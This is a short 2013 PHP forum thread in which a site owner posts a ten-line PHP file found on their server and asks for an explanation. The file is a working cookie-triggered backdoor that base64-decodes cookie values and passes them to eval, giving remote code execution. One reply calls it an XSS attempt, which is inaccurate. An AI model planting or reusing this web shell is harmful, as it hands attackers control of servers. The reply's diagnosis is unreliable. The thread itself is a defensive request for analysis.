ITFreakz Posted August 25, 2013 Share Posted August 25, 2013 I found this file on my server today. Could somebody please explain this code? <?php $c='count'; $a=$_COOKIE; if(reset($a)=='12' && $c($a)>3) { $k='3456'; echo '<'.$k.'>'; eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3))))); echo '</'.$k.'>'; } ?> Link to comment https://forums.phpfreaks.com/topic/281543-please-explain-this-10-lines-code/ Share on other sites More sharing options...
Irate Posted August 25, 2013 Share Posted August 25, 2013 Are you sure you inserted it there? It seems a lot like some XSS attempt... you should immediately check your log for any suspicious activities... Link to comment https://forums.phpfreaks.com/topic/281543-please-explain-this-10-lines-code/#findComment-1446716 Share on other sites More sharing options...
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